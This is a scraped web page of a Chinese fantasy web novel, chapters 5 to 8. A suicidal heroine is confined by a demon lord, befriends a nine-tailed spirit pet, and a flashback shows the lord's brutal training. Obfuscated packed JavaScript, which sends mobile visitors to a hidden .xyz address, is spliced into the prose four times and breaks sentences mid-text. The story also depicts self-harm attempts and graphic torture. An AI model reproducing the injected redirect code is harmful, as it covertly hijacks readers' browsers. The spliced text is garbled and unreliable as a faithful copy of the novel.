d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16423418|184831||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这一次,他的转身多了几分决绝,他的身体化成一缕黑白交织、如梦似幻的烟雾。迅速升腾,渐行渐远,直至最终消失于夜色之中。 他居然会不杀她? 为什么? 这可是嗜杀之人眼中最幸福的事,他有何理由不做? 难不成他这个魔,和人不一样? 文可烟思索之际,周遭忽地传来一阵细微的声响。她缓缓抬起头,目光在四周游离,最终定格在一个毛茸茸的小球上。 那小球周身雪白,却又似乎蕴含着五彩斑斓的光泽,宛如一颗璀璨的明珠,在夜色中熠熠生辉,分外可爱。 不会吧!难道刚才在她腿边蠕动的是它? 文可烟缓缓走近,蹲下身子,细细打量着这个神秘的小生命。 那毛茸茸的小家伙却像是有魔力一般,让她忽略了未知东西的可怕,反而不由自主地伸出手,轻轻触碰着那柔软而温暖的身躯。如同触摸到了春日里温暖的阳光,心中涌起一股难以言喻的欢喜。 那球状生物似乎对她的触碰极为喜爱,竟毫不设防地摊开身体,任由她肆意抚摸。 文可烟终于看清了它的全貌。 大大的眼睛闪烁着好奇与纯真的光芒;四肢虽短小却异常灵活;背后还有一对小巧的翅膀,轻轻扇动着,比一般小精灵还可爱。 尤为特殊的是,它屁股后面竟有九个小凸点点,分外引人注目。 似乎是它的小尾巴。 也不知是随了谁? 好萌!文可烟胆子也愈发大了起来,索性将它紧紧抱在怀里,肆意蹂躏。 “疼。”怀里的小球球发出了一声奶声奶气的娇嗔,如同初生的奶猫般娇嫩可爱。 文可烟手一顿,显然是被惊讶到了,声音上翘,语气有些不可思议。 “你还会说话?” 说着,便把球球放了下来。 被放下的球球显然更自在了,它扬起头,十分臭屁地回答,语气中不由得带着得意与傲娇。 “那当然咯!” 文可烟揉揉它肚子,语气不自觉多了些温柔与宠溺,像是在询问一个熟悉的朋友。 “那你叫什么呀?” 球球这时候像个蔫掉的菜芽,高昂的头瞬间低下,语气不免失落起来。 “我……我不知道。” 文可烟有些惊讶:“不知道?” 按照小说的设定,这些灵宠不应该都有名字吗? 难道,它还没有主人? 球球愤然:“他……他说我还不配拥有名字!” 文可烟一愣,总觉得球球声音中还有几分委屈与不甘。她动动双脚,挪动着离球球更近了。 “他?他是谁?” “就……就哇~”球球把舌头吐出来,四肢张牙舞爪地挥舞着,作出一副凶恶的样子,但那双大眼睛中依旧纯真与无辜。 “哇~?”文可烟也学着它,作出一副假凶恶的样子。 她头低着双膝,歪着头有些俏皮地笑着说:“那我给你取个名字,要不要?” 球球连忙点头如捣蒜,眼中闪烁着期待与喜悦的光芒。 “白……九……白酒如何?”文可烟的脸抵在放在膝盖上交叉的双臂上,突然眼中一亮。 5. 白酒(一) “白酒?好耶!” 球球兴奋在地上快乐地跳动着,那模样好似得到了世界上最珍贵的礼物。 文可烟望着白酒那一脸纯真的样子。 球球它显然不知道白酒是何物?还就这么开心地接受了这名字。 文可烟滞然,此时竟莫名产生了一种欺骗孩子的罪恶感…… …… 文可烟斜倚在床边,指尖无意识地揉捻着怀中那团名为白酒的毛茸茸小球,眼神涣散地凝视着远方,不知在想什么。 一阵急促的脚步声打破了这份静谧,芯核那清冷如冰的声音穿透喧嚣,将她猛然拉回现实。 “小殿下,请随属下来。” 文可烟的目光不由自主地落在了那群身披铠甲、手持利刃的侍卫身上,冷冽的光芒传到她瞳孔中。 文可烟不禁怔然。 难道…… 难道他派人来杀我了? 想到这里,文可烟的声音中带着一丝前所未有的轻快:“走。” 芯核见状,微微一愣,提醒道:“小殿下,您不打算收拾一下随身物品吗?” 文可烟起身的动作停下。 死之前还需要准备些什么吗? 但很快,似乎想到了什么,文可烟眼睛一亮,拍了拍手道:“哦,你是说给魔尊大人腾地方是吧?” 她站起身来,开怀一笑:“放心,我很快就收拾妥当!” 芯核望着文可烟这突如其来的兴奋模样,也不敢多问,只低头应声道:“不急,小殿下……” 文可烟的声音从床那边传来,打断了芯核,“急啊,得急啊!” 文可烟走的时候,步伐轻盈,兴奋之情溢于言表。 一心以为被送去“断头台”的她,却发现自己被带入了一个宛如仙境般的世外桃源。 这里山清水秀,风景如画,美得不似人间,倒像是传说中的仙界。 不过这里根本没有出口,周围被好几层无形的结界笼罩。 文可烟能清晰感受到周围有很多魔族侍卫的气息,在静静地监守着她。 可……关键是,这是虽说是仙境,但聊无人烟。 就连送她过来的芯核也只是待在结界处停下来,之后便让她自己一个人走了进来。 文可烟沉默一瞬。 好吧,就是因为没人,所以才叫仙境,不然叫什么仙境。 不过……难道这是什么死前的另类待遇吗? 文可烟站在原地,环顾四周,只见这清幽之地空无一人,只有一座雅致的小屋静静地矗立在那里,显得格外孤独。 一连三日,文可烟都被困在这片世外桃源之中,无人问津,外界的一切喧哗与她隔绝,就连那可爱的小团子白酒也不见了踪影。 不过奇怪的是,每日的食物倒是十分准时地出现在桌上。 文可烟预想中的死亡迟迟没有到来。 随着时光的流逝,她终于意识到,羿逸安好像是有意将她囚禁于此,也许会直至岁月的尽头…… 一想到是被囚禁于此,文可烟的期望再一次破灭,整个人肉眼可见的蔫了下去。 起初,她还因这仙境般的居所而心生片刻欢喜,那美丽无边的天空、潺潺的溪流、奇花异草……她所未见过的一切,都让她暂时忘却了尘世的烦恼。 她想着,就当是死前的美好回忆。 可如今,当“一辈子”这个沉重的字眼如钉子般钉在她的心头时,那些美景、那些佳肴,都失去原有色彩,变得索然无味。在顷刻间都被无情地碾碎,化作了虚无。 文可烟便无数次想要以决绝的方式,亲手结束这无望的生命。可每当锋利的刀刃轻轻触及肌肤,那刻骨的疼痛便让她不由自主地退缩;每当冰冷的水流试图涌入她的鼻腔,那窒息的难受又让她心生恐惧…… 说到底,她缺乏那份决绝的勇气,不然,也不至于穿到这个世界来混吃等死。 她又开始变得食欲不振,行动迟缓,她的世界似乎只剩下那张冰冷的床榻。每天眼睛一睁,便是无尽的发呆,眼睛一闭,便是虚无的黑暗。 可奇怪的是,在这样近乎自虐的生活方式下,文可烟的身体竟一点儿事也没有。 她究竟是个什么物种? 如此顽强! …… * 是夜,夜色朦胧,轻纱般的雾气缭绕在这魔族净地的河流之上。 羿逸安如往常一样,沿着这河流缓缓散步,享受着这份难得的只属于他的宁静与惬意。 这魔尊净地,是他在这魔界心最珍视的一片净土,每当空闲时,他总会不由自主地来这里。 他低着头,步伐悠闲,脚尖不经意间踢起一颗石子。起初,他也只是轻轻一踢,但渐渐地,力度逐渐加大,石子在夜空中划出一道弧线。 羿逸安脚上的动作一滞。 今日这石子却显得有些不同寻常。 很亮。 比平常要亮一些。 羿逸安抬起头,望向天上的月亮。只见月光被雾气遮掩,显得有些朦胧。 按理说,今日月光不足,这石子,应该比平常暗一些才是,可…… 他低下了头,凝视着那颗石子。只须臾,他顺着光亮的方向看过去,目光在某处一顿。 小亭院是亮着的。 羿逸安澄澈的眼眸中多了分警惕,身形一闪,化作一缕黑烟冲到了小亭院门口。 在即将闯入屋内的那一刻,他突然想起什么,动作猛地一顿。 …… 不久前,他似乎娶了一位妻子。 “……” 他倒是忘了这一茬。 前几日,他似乎命令过芯核将这位他名义上的妻子带到了这里。 羿逸安提步的方向一转,来到了窗边,躲在一侧。 奇怪的是,他在这站了许久,屋子内却一片寂静,连呼吸声都很微弱,里面似乎根本没有人生活。 这份异样的宁静让他心中更加疑惑,眉头不禁皱起来。 他再次化作一缕黑烟,悄无声息地飘进了小屋。 屋内烛光昏黄,摇曳生姿,却映照出一片孤寂的景象。羿逸安眉心一跳,平静的眼神中溢出几分诧异。 好家伙! 入目的便是桌上堆积如山的菜馔,琳琅满目,却无人问津。 “怎么?准备以绝食威胁本座?” 冰冷的声音在这小屋里显得格格不入,如寒风中的利刃,刺破了这份宁静。 羿逸安那张冷漠得近乎无情的脸庞,在昏黄的烛光下显得有些阴沉,多少有点活阎王的意思在。 文可烟吓得在床榻上轻微一抖,心脏在此刻狂跳起来。在看见羿逸安的瞬间,她便又恢复了那副了无生气的模样,静静地望着他,眼中也无丝毫畏惧。 望着这张令人生畏的脸,她不由得想起外界对羿逸安的传言,说他冷漠无情、杀人无数……但此刻的她,却在这张骇人的面容下,感受到了一种莫名的解脱感。 在这无尽的囚禁与孤独中,她终于找到了一丝可能的出路。 她找到了一个绝佳的对策。 在这儿呆了这么长时间,羿逸安从未杀她,或许他从未打算过杀她。 但羿逸安无疑是是那个能让她解脱的最好选择。 她渴望解脱…… 渴望 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16423419|184831||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 逃离这令她厌恶的世界…… 或许,激怒他,就是最好的方式。 让他愤怒,让他失控,或许这样,她就能找到机会,从这无尽的折磨中逃离出去。 文可烟眼中不由自主地闪过一丝惊喜,她轻启朱唇,“你要杀我了吗?” 羿逸安闻言,身形微微一震,他无法理解文可烟为何会如此轻率地提及死亡,更无法理解她眼中的那抹惊喜。 在他手下,求饶的声音数不胜数,那些人在他面前颤抖、哀求,只为保住一命。求死的却只她文可烟一人,她还不止提了一次。 这让他感到前所未有的困惑,他的目光在文可烟身上停留许久,试图透过她的双眼,读懂她心中的想法。 大概是文可烟眼中的期许太过刺眼,强烈得让羿逸安无法直视。他随即背过身去,一副决绝欲走的样子。 文可烟见状,心中一紧,焦急道:“别!” 她深吸一口气,强压下心中的慌乱,让自己的声音听起来更加平静自然,“我只是觉得这里太无聊了,只有我一个人。你能不能……能不能不要就这样走掉?至少陪我说说话也好。” 现下,她说什么都要将羿逸安稳住。她很清楚,一旦他转身离开,可能又是十天半个月不见踪影,那她的大计还如何完成? 羿逸安依旧背对着她,沉默不语。高大的身影昏暗的环境下显得愈发压迫,如同一座无法逾越的冰山,让人不敢靠近。 文可烟终是耐不住那沉闷得几乎凝固的空气,她轻咬下唇,率先撕破了这令人窒息的静默。 “你有看见白酒吗?” 羿逸安终于转过身来:“白酒?” “你要喝酒?” 文可烟连忙摆手否认,“不是,白酒是一个毛茸茸的小团子,很可爱的。” 羿逸安的表情更加疑惑了,他眉头微蹙,显然对这个突然冒出来的“白酒”话题感到莫名其妙。 “那天走的时候,它就在房间里,你没看见吗?” 羿逸安依旧不解,但他还是摇着头回答了文可烟,“未曾。” “奇怪,那天……”文可烟小声嘀咕着。 下一秒,她瞥见羿逸安脸上不耐的表情,声音变戛然而止。生怕羿逸安下一秒就又会转身离去,于是她根本来不及思考,赶紧再次开口:“那你要每天都过来陪我。” 羿逸安听得一惊,耳后悄悄染上了一抹红晕,他神色复杂地看着文可烟。 文可烟见他神色不对,似乎已经在生气边缘。 她原本想说“那你要杀……”但此刻话语如同被寒风冻结,在舌尖上颤抖了一下,差点脱口而出的话语,在羿逸安那凌厉的眼神注视下,硬生生地卡在了喉咙,最终只能生生咽了回去。 她不自觉地攥紧了衣袖,指尖因紧张有些微微泛白,深吸一口气,改口试探道:“那……一周四次?” 羿逸安的面容如同千年寒冰,没有丝毫波动。 “一周三次?” 羿逸安依旧沉默不语,脸上写满了冷漠与疏离。 文可烟心中一沉,再次开口:“一周两次?” 说完,她的目光便紧紧盯着羿逸安,试图从他的脸上找到一丝松动。但回应她的,只有羿逸安那冷漠如霜的眼神。 文可烟咬咬牙,“一周一次?” 羿逸安没有说话,只是静静地看着她,静得让人觉得他根本没有情绪。 文可烟索性破罐子破摔。 “你总不能一次也不来吧?那我怎么才能让你……”杀我。 文可烟终于忍不住了,愤怒地瞪视着羿逸安,只是最后的话语在舌尖打了个转,最终化为沉默。 6. 白酒(二) 文可烟这愤怒的眼神在身高高她一头的羿逸安看来,却是另外一番模样……像在撒娇。 羿逸安目光如炬,有种酥麻感从脚底生出。他不自在地手握虚拳,掩住嘴唇假咳一声,好奇地问道。“让本座什么?” 文可烟皮笑肉不笑扯了扯嘴角,话锋一转,几乎是咬牙切齿地说:“让我们夫妻两好好交流交流感情。” 她还十分刻意地加重了“夫妻”二字。 加重“夫妻”二字的后果便是,魔尊大人他又化成一缕青丝,毫无征兆且悄无声息地消失在空气中…… 文可烟一人,怔怔地望着空气…… 这人真是来无影去无踪啊……啊不,这魔真是说走就走啊! 在这一方仙境般的净地,文可烟已被“囚禁”了近一个月,她觉得自己变得愈发奇怪。 曾经那每分每秒都在灼烧着她的灵魂,迫切渴望死亡、渴望当场就死的念头,却已渐渐被一种十分微妙的平静所取代。 自从穿到了这个陌生的世界,她每日的生活虽谈不上开心,但也不至于难熬折磨。 她不再像从前那样,被死亡的执念紧紧束缚,每一刻都在与内心的痛苦做着殊死搏斗。 文可烟确实是想死的,但她不再迫切。 之前试过这么长时间的绝食,却没饿死自己,反倒成了折磨自己。 这是不是在说明,属于她毫无痛苦的死亡时机并没有到呢? 她只是觉得,心底那个想死的念头一直蛰伏着,就像远方一座若隐若现的山峰,始终在她的视线里。她知道,自己终有一天会朝着那座山峰走去,但线下并不急于一时。死亡对她来说,是必然的归宿,无非是时间早一点儿,晚一点儿的问题。 她在等待那个合适的时机,一旦拥有便一击毙命。 若是一直没有,那她到时候再选择痛苦地死去吧…… 文可烟望着空气中若有若无的青烟,突然很想知道—— 原主自己是什么物种?除了生命力顽强还有什么技能?是不是也会这种说走就走的能力? 就在这时,一道突兀的提示音在脑海中响起。 【恭喜宿主,被攻略目标目前好感度终于上涨至0.001%。】 还望着空气的文可烟因这突兀的一声回过神来。心底生出一丝荒谬之感。 “0.001%?这也值得专门提醒?” 【由于被攻略目标,也就是宿主你,目前任尚心存死志,心态极不稳定,所以这0.001%的涨幅尤为重要,还请宿主继续努力。】 【宿主原身是一株无系无根的仙子绿萝,因机缘巧合落入凡尘。】 文可烟平静吐字:“让我努力被那大魔头攻略?你觉得这可能吗?他那张死人脸,还是个大反派,我能对他心动?要不是我有求于他,我会让他一周来一次?” 【警报!警报!还请宿主保持冷静,情绪起伏过大将影响系统稳定。】 【可宿主好感度已经涨至0.001%……】 “我绝不可能对他产生好感。” 【警报!警报!数据出现错误,紧急修复模式已启动……】 文可烟突然想起系统最开始说的第二句话,“诶,等等,绿萝?仙子?什么意思?” …… 系统再没回复。 “你为什么一直望着空气,一动不动呢?”一个奶娃娃般的声音在此刻响起。 文可烟被这突如其来的声音吓到,猛然转身,脚步一个踉跄,差点没站稳。 晃眼终于看清眼前的身影时,她面无表情的面容下,终于挤出一丝欣喜。 “白酒!你去哪儿了?” 白酒低着头,看上去有些委屈和迷茫。 “我也不知道,我只知道我被困在一个黑暗的地方,有时周围充斥着嘈杂的谈话声,有时又寂静得可怕,但大多数时候,都是死一般的沉寂。” 文可烟蹲下身,有些心疼地揉了揉白酒的柔软的毛发,轻声道:“那你下次别再乱跑了……” 文可烟盯着白酒出了神,手指无意识地在白酒身上摩挲着,嘴唇翕动,似在呢喃。 “真是奇怪啊,跟你待在一起,我的心情莫名就会好一些……” “那当然咯!我这么可爱!”白酒骄傲地挺起胸膛,还是那般臭屁模样。 “可……”文可烟的手指停在白酒身上,眼神突然变得复杂起来,一抹忧伤悄然爬上她的眉梢。 白酒偏头,一眼不眨盯着文可烟。 “可怎么了?” 文可烟眼眶渐渐泛红,看上去十分虚无缥缈,像是在对白酒说,又像是在自言自语。 “你知道吗……这世间万物,似乎都逃不过转瞬即逝的命运。” 月光下,那晶莹的泪光如同晨露般闪烁,让人心生怜爱。 白酒似乎感受到了文可烟情绪的波动,却又有些不太明白,它歪歪头。 “怎么了?是不是有什么不开心的事?” 白酒的稚嫩模样让文可烟忍不住笑了出来,她更加宠溺地揉了揉它屁股上的九个小点。 “哎呀,尾巴可是很敏感的,不要随便乱摸。”白酒抱怨道,但声音奶声奶气,毫无威慑力,反而让人觉得更加可爱。 “原来这些真的是你的尾巴啊。”文可烟的好奇心被彻底激发,再次伸出手指,轻轻戳了戳它的尾巴。 白酒见状,忙用短小的四肢试图捂住身后的小点,模样滑稽至极。 文可烟看着它那憨态可掬的样子,忍不住“噗嗤”一声笑了出来,心中的阴霾似乎也被驱散了一些。 笑声渐歇,文可烟用尽量通俗简单的语言解释给白酒。 “我只是在想,如果有一天,全世界都与你的主人对立,你会如何选择?” 文可烟的声音轻轻飘出,有些虚无,但眼神中却流露出不易察觉的试探与渴望,似乎是想通过她来到这个世界上,第一个想要交流的生物上,得到一丝慰藉。 “那当然是站在主人这边啦!我可是你的灵宠,誓死捍卫主人的荣耀!” 白酒挺直了腰板,它依旧用短小的四肢努力捂住身后那九个小巧的尾巴,努力又可爱,引得文可烟不禁轻笑出声。 文可烟眼珠微微一转,面向白酒,嘴角扬起微小的弧度,笑容中却有几分脆弱。 “那你可真好啊,有你在你主人旁边陪着,相信他也不会失去希望,他会努力地想要活下去的……” 人生在世,总是需要一个精神寄托来支撑自己前行,否则,生命便如同无根之木,随时都可能凋零…… 她,显然,一如既往从未有过。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16423420|184831||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >白酒一脸傲娇,背后的小翅膀轻轻煽动着。 “那当然咯,我可是全天下最好的且唯一的九尾灵宠!” 文可烟轻声细语,一边轻轻捞起白酒,将它紧紧地抱在怀里,一边说着。 “好啦,这次你可要紧紧跟着我,别再被关进那黑漆漆、冷冰冰的黑屋子了。” 像是突然想起什么,她脚步停住了,盯着怀中的白酒。 “不过,你的主人到底是谁?你不应该待在他身边吗?” 白酒眨了眨眼睛,含糊其辞。 “嗯……他下次来应该会把我带走的啦,虽然我也不知道他究竟是怎么把我带走的……” “……” 文可烟思考着,再次试图戳戳白酒的尾巴。 “你主人到底是谁?” 一低头,却发现白酒已经安然入睡,呼吸均匀而平静。 文可烟抬头看了看天色,夜幕已深,万籁俱寂,只有月光如水般洒落。 好吧,确实该睡了。 她轻轻抱着白酒,走进了温暖的小屋。 …… 白酒的眼睛里闪烁着惊喜的光芒,它的小翅膀不停地煽动着,足以见得它的欣喜。 “哇,这么多菜我第一次见诶。” 文可烟坐在桌旁,目光虽落在那些色香味俱全的菜肴上,但脸上却并未露出相应的喜悦之色,轻轻叹了口气。 白酒疑惑地歪着它的小脑袋,用它那双懵懂的大眼睛望着文可烟。 “为什么你不吃呢?这些菜这么漂亮,问起来也好香,应该很好吃才对!” “对啊,好看你就对吃点。” 白酒的翅膀轻轻扑扇着,似乎对文可烟的不动筷子感到十分不解。 文可烟垂眸,用手中筷子无意识地扒拉着碗中的米饭,一粒粒晶莹剔透的米粒在她的筷尖跳跃,却又无力地滑落在碗底,发出细微的声响。 她什么也没说,只垂头丧气地摇了摇头,整个人都透露着难以言喻的疲惫与无力。 要不是因为白酒,她此刻恐怕还躺在床上,根本不会下床,更别说此刻坐在桌前,面对着一桌子色香味俱全的佳肴了。 白酒用它的两只小短手,操纵着筷子,小心翼翼夹起一块肉,然后扑扇着翅膀,费力飞到文可烟的碗的上方,轻轻将肉放在她的碗里。 “你多吃点,你看你这么瘦。” 文可烟看着白酒再次振翅飞往另一盘菜飞去,如此费力地只为给她挑菜,被逗笑了。 不知不觉间,竟也一碗见底,她自己都有些不可思议。 * 在魔族领域中,除了那位令万物生灵颤栗的魔尊,还存在三位德高望重的长老,没有他们,就没有如今的魔族。 在这三位长老之中,大长老尤为特殊。他不仅是魔域中最为睿智的长者,更是魔尊羿逸安自懵懂幼年起,便如影随形的导师。 在羿逸安的眼中,大长老的眼睛总是那么犀利且具有威慑力,能读懂小羿逸安的一切心思; 羿逸安一直知道,大长老是固执的,无论他坚守的信念是对是错,他都固执得深入骨髓、不可动摇。紧紧地影响着魔族的一切,从魔族的兴衰荣辱到每一个族人的命运,无一不在他的掌控之中。 自然,也就不可避免地影响着幼年的羿逸安。 7. 白酒(三) 从魔族的辉煌历史到复杂的法术修炼,羿逸安走过一步又一步。 大长老言传身教,他那一套套束缚固执的观念想法,一股脑儿地塞给小羿逸安。 那些行为、想法、观念、知识……不断冲击着小羿逸安的内心,“腐蚀”着小羿逸安的品性与灵魂…… 就这样,羿逸安一步步踏上了那条杀人无数、令人闻风丧胆的魔尊之路。 当然,对方也总是会被羿逸安那迫人魂魄的气场压得未战先怯。 这条成长之路并非坦途,它充满了冷漠与血腥。 那时的羿逸安,不过是个稚气未脱的孩童,粉雕玉琢的小脸上天真无邪,年纪尚小,心智尚未完全成熟。 那次是小羿逸安第一次不经意间流露出了一丝犹豫,仅仅只是细微的神情变化。 大长老双手背在身后,缓缓走到小羿逸安面前,眼神冰冷而残酷,似乎能将世间的一切温暖都冻结。 “看来尊上还是没学会心狠手辣。” 他轻轻一挥手,两名魔族侍卫便押着那名因小羿逸安心软的生者。 那名生者被粗壮的锁链紧紧束缚着,锁链深深地嵌入他的皮肉之中,鲜血不断地从伤口中渗出,染红了他的衣衫。 大长老嘴角微微上扬,残忍的笑容在他脸上尤为晦暗。 “既然尊上心软,那今日,就让尊上学学如何’心软‘。” 行刑者手持一把锋利的魔族特制匕首,上面除了锋利的刀刃,还有无数而尖锐的小刺。 生者虚弱万分,却还是趴在地上拼命地挣扎着,锁链随着他的动作发出“哗啦哗啦”的声响。 第一刀狠狠地划下,鲜血瞬间喷涌而出,温热的液体溅在了小羿逸安的脸上,却感觉如坠冰窖。 一刀又一刀,行刑者的动作不紧不慢,似乎很享受着这残忍的过程。 惨叫声回荡在整个阴牢,声声凄厉,好似要将这阴森的空间撕裂。 小羿逸安闭上眼睛,双手紧紧握拳,指甲深深地陷入了掌心,鲜血从指缝中渗出,他却感觉不到疼痛。 当生者的身体已经血肉模糊,惨叫声也渐渐微弱下去时,大长老再次开口:“停。” 行刑者停下了手中的动作,一片烂肉瘫倒在地上,只剩下最后一丝微弱的呼吸。 大长老走到生者身边,一道黑色的光芒从他的手中射出,瞬间将魂魄从生者身体中生生抽离出来。魂魄在空中痛苦地挣扎着,发出尖锐的嘶鸣声。 大长老双手猛地一挥,那魂魄便被搅得粉碎,化作点点黑光,消散在这黑暗的空气中。 大长老缓缓转过身,沉默不语地看向小羿逸安,好似在告诉他:“你是魔族的未来,你必须强大,你必须无畏,而这一步不能少的便是心狠手辣、杀伐果决……只有这样……只有这样才能让魔族在这残酷的六界之中立足。” 只是在这条充满杀戮与血腥的道路上,羿逸安的心中偶尔也会闪过一丝异样。 这样……真的……是应该的吗? 羿逸安自幼便知道,自己是在双亲那无尽而深沉的爱与万般不舍中,轻轻交付给了大长老。 那时的大长老不算和蔼可亲,但至少不会如那日那般扭曲可怖…… 那时的羿逸安,站在大长老的身侧,小小的身影在偌大的殿堂中显得格外孤单与渺小。 他抬头望向爹娘,娘亲的脸上满是悲伤与不舍,眼眶中闪烁着晶莹的泪光。 当时的他是怎么样的呢? 面无表情,他当时表情单一得让人根本猜不透他究竟在想什么。 是根本不符合他年龄段的沉稳。 也许,在那时候,羿逸安便开始学会隐藏自己的情绪了吧…… …… 羿逸安身着一袭绣着繁复而神秘的魔纹黑袍,衬得他清秀的面容也染上几分不可言喻的压迫感。他紧随大长老其后,穿梭于魔族那宛如迷宫般错综复杂的长廊之中。 尽管他的步伐轻盈无声,但所经之处,却如冬日寒风吹过湖面,带来一片刺骨的冰凉。 长廊两侧,魔族侍卫的身影在暗处若隐若现。一直直视着前方,余光却时刻关注着魔尊,以此行使魔族特有的最高礼仪。 烛火在阴冷闭塞的长廊里摇曳不定,昏黄且微弱的光芒映照在羿逸安棱角分明的脸庞上,光影交错间,他的面容更显恐怖。 终于,二人停在了一处极为隐蔽的角落。 大长老轻启朱唇,伴随着一串晦涩难懂的法术暗语,厚重的墙门被缓缓拉开,一个全新的空间缓缓显现在他们眼前。 浓重的各界血腥气息扑面而来,浓烈得连空气都已被染成了猩红的颜色,让人胃里一阵翻腾,忍不住想吐。 在这片幽暗而沉重的空间里,昏暗的光线被厚重的阴霾所吞噬,压抑得让人几乎窒息。 一个光风霁月的身影静静矗立在光影之下,背影挺拔如松,衣袂随风轻轻飘飘,宛如一位仙界走来的翩翩公子,温润如玉,泽被万物。 逆着光,若只看这身影,定会让人误以为他是哪位仙界的俊彦,下凡来普度众生,救赎各方苦海中的灵魂。但周身散发出的那份盛气凌人的气势,却不近而反,压得人心头沉甸甸的,几近破碎。 羿逸安和大长老缓步踏入这个鲜为人知的空间,随后,门缓缓闭上发出沉闷的响声。 这空间大得无令人咋舌,一眼望去,一个接一个的牢笼层层叠叠、上下交错,将无数生灵囚禁于此。 这些生灵来自各界,听见声响,纷纷将目光投向地面上最具有气场的那位魔尊,眼神中交织着各种情绪,恐惧、害怕、愤怒、唾弃、不甘、不服…… “狗屁尊上,你们迟早会遭到报应的,你们魔族迟早会灭亡的……哈哈哈……” 一道愤怒而绝望的声音在空间中回荡,无尽的怨念与诅咒也伴随而来。 大长老闻言,嘴角勾起一抹冷笑,他缓缓道:“哼,区区凡人,也敢妄图诅咒魔族?魔族乃是天命所归,注定要统一天下!你们这些蝼蚁般的存在,也配?” 说完,大长老用眼神示意羿逸安,似在鞭策羿逸安。 羿逸安动作一顿,双眸缓缓闭上。他深吸一口气,下一瞬,睁开时目光更冷,之前存在的隐蔽犹豫之色已消散得无影无踪。 他大步流星地走向其中一个牢房,身形如同鬼魅般迅捷,带动一阵狂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16423421|184831||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 风掠过。 牢房内的生灵惊恐地瞪大了眼睛,只能看着羿逸安一步步朝他们逼近,心中充满了恐惧与绝望。 羿逸安似乎置身于情感荒漠之中,对那些生灵的情绪视而不见。身影瞬间化作一道黑影,翻飞在牢房之中。 刹那间,血光四溅,只听得一声声清脆的骨骼断裂声,那些生灵便如断线的风筝般瘫倒在地,再无生机。 羿逸安面容冷峻而无情,就像一个无情的杀手,在执行着最残酷的命令,动作快如闪电,出手都精准致命。 “哈哈哈哈……好!” 大长老抚着花白的胡须,笑声爽朗而欣慰,眼中的赞许溢于言表,似乎从羿逸安的身影中,看到了魔族未来的希望。 “不负我所望啊。” 大长老这句话的声音低沉,却能刺透羿逸安的心底,引得他心脏微微颤动。 只一瞬,大长老脸色一变,神色复杂难辨。直直的目光似乎穿透了昏暗的空间,落在羿逸安身上,颇有几分若有所思的凝重。 “那女子,此刻身在何方?” 羿逸安低垂下的面容依旧冷峻如冬日寒冰,没有一丝波澜。刚刚那场血腥的杀戮似乎并未在他心中留下任何痕迹。 只是那微微颤抖的双手,泄露了他内心深处的挣扎与不安。他不动声色地将双手紧握成拳,似乎也将自己灵魂的颤栗一同压抑了下去。 羿逸安轻轻瞥了大长老一眼,目光中既有坚定与决绝,又夹杂着一丝难以言喻的复杂情绪。 他只是紧紧地抿着嘴唇,没有言语。 大长老见状,语气中带着几分责备,却也难掩其中的关切与忧虑:“尊上,你似乎又忘记了什么。” 他的声音像是一道无形的枷锁,试图将羿逸安拉回那既定的命运轨道。 羿逸安微微垂眸,将复杂的情绪掩在睫羽下。 “长老,本座心中自有分寸。” 说着,他意味深长地抬眼看向大长老。 “况且,长老你应当知晓本座为何留下她。” 大长老闻言,再次抚了抚自己花白的长胡须,眼中闪过一丝震惊,但很快便被深深的沉思所取代。他凝视着羿逸安,似乎要将羿逸安看穿,将羿逸安的内心看个透彻。 “尊上,你好像变了。” “还记得你阿爹、阿娘是如何……” 每一个字都像是重锤,敲击在羿逸安的心上,以此唤醒羿逸安。 说到这儿,大长老难得地有了一些颤抖,他停顿片刻,有些不忍提及那段过往。 羿逸安再次垂下眼眸,长睫在眼睑下透出一小片晦暗不明的阴影,情绪在他人看不见的地方疯狂生长。 此刻,他的心中之事,似乎在魔族的杀戮与征伐面前,显得如此微不足道。 魔族之人,自幼便生活在杀戮与征伐的环境中,他们骨子里,便只有无尽的鲜血与死亡才能彰显魔族的荣耀与力量。这是他们的信仰,也是他们的宿命。 可令大长老头疼的是,羿逸安却好像是个例外,他自幼便对杀戮有着一种本能的排斥。 这份与众不同的心性,在大长老看来,无疑是一个巨大的隐患。 8. 白酒(四) 